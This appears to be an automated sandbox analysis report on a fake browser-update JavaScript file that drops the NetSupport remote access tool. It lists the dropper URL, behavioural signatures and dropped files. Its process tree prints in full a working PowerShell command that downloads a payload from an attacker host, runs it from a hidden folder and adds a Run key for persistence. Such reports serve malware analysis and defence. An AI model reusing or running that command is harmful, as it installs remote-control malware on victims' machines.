Analysis
- max time kernel
145s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
16/04/2024, 12:43
General
- Target 16042024_2042_Update_123.0.6312.107.js
- Size 16.0MB
- Sample240416-pyb64sae72
- SHA256 be84be78a5ff8b06efa417f9a69b0eceafbe07bd2e61db88c4bac5757e38b5df
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://gitkonus.com/data.php?13475
-
exe.dropper
https://gitkonus.com/data.php?13475
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\16042024_2042_Update_123.0.6312.107.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $GisllGHetRbgcxJDohrnQlSu='https://gitkonus.com/data.php?13475';$cJXOKbiGzcZLwzYMkm=(New-Object System.Net.WebClient).DownloadString($GisllGHetRbgcxJDohrnQlSu);$WINfoGTtEnOrLodz=[System.Convert]::FromBase64String($cJXOKbiGzcZLwzYMkm);$zxc = Get-Random -Minimum -10 -Maximum 37; $sdbsbMLDhyAhBtjBE=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $sdbsbMLDhyAhBtjBE -PathType Container)) { New-Item -Path $sdbsbMLDhyAhBtjBE -ItemType Directory };$p=Join-Path $sdbsbMLDhyAhBtjBE 'BB.zip';[System.IO.File]::WriteAllBytes($p,$WINfoGTtEnOrLodz);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$sdbsbMLDhyAhBtjBE)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $sdbsbMLDhyAhBtjBE 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$AZ=Get-Item $sdbsbMLDhyAhBtjBE -Force; $AZ.attributes='Hidden';$s=$sdbsbMLDhyAhBtjBE+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX-6\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX-6\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_h2m3eatg.xsc.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
remcmdstub.exe
memory/2076-24-0x0000018ACDDE0000-0x0000018ACDDF2000-memory.dmp
memory/2076-23-0x0000018AB3960000-0x0000018AB396A000-memory.dmp
memory/2076-114-0x00007FFED1630000-0x00007FFED20F1000-memory.dmp
memory/2076-21-0x0000018AB3980000-0x0000018AB3990000-memory.dmp
memory/2076-19-0x00007FFED1630000-0x00007FFED20F1000-memory.dmp
memory/2076-20-0x0000018AB3980000-0x0000018AB3990000-memory.dmp
memory/2076-14-0x0000018AB38E0000-0x0000018AB3902000-memory.dmp